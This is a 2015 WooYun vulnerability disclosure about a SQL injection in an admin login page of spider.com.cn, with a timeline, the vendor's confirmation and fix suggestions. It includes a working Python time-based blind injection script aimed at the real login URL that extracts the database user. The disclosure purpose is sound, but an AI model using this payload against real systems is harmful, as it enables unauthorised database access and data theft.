当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0141910

漏洞标题:蜘蛛网SQL注入一枚(附脚本)

相关厂商:spider.com.cn

漏洞作者: 风格

提交时间:2015-09-18 11:10

修复时间:2015-11-02 14:00

公开时间:2015-11-02 14:00

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-18: 细节已通知厂商并且等待厂商处理中
2015-09-18: 厂商已经确认,细节仅向厂商公开
2015-09-28: 细节向核心白帽子及相关领域专家公开
2015-10-08: 细节向普通白帽子公开
2015-10-18: 细节向实习白帽子公开
2015-11-02: 细节向公众公开

简要描述:

sql注入

详细说明:

重新编辑了一下昨天补充的就不用审了吧~~

url: http://admin.spider.com.cn/spider2/admin/login_manager.jsp?oid=login


1.jpg


参数username存在注入
sqlmap跑一下,确认是注入,表什么的就跑不出来了

jlh362725763_1442479786895_51.jpg


自己动手
验证脚本

#encoding=utf-8
import httplib, urllib, time
headers = {
"Host": "admin.spider.com.cn",
"Content-Type": "application/x-www-form-urlencoded",
"Cookie": "JSESSIONID=32D6F796E621E171C0EA97831CBC6C5F; "}
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
user = ""
for i in range(15):
for s in payloads:
try:
payload = "username=aa';if(ascii(substring(system_user,%d,1))=%d) begin WAITFOR DELAY '0:0:10' end--" % (i,ord(s))
conn = httplib.HTTPConnection("admin.spider.com.cn",timeout = 5);
conn.request(method="POST",url="http://admin.spider.com.cn/spider2/admin/login_manager.jsp?oid=login",body=payload,headers=headers);
conn.getresponse()
conn.close()
print '.',
except :
user += s
print '\n'+user
time.sleep(3)
break
print "\n Current user is %s" % user

漏洞证明:

33.jpg

修复方案:

1过滤
2修复验证码

版权声明:转载请注明来源 风格@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-09-18 13:58

厂商回复:

漏洞查找中

最新状态:

暂无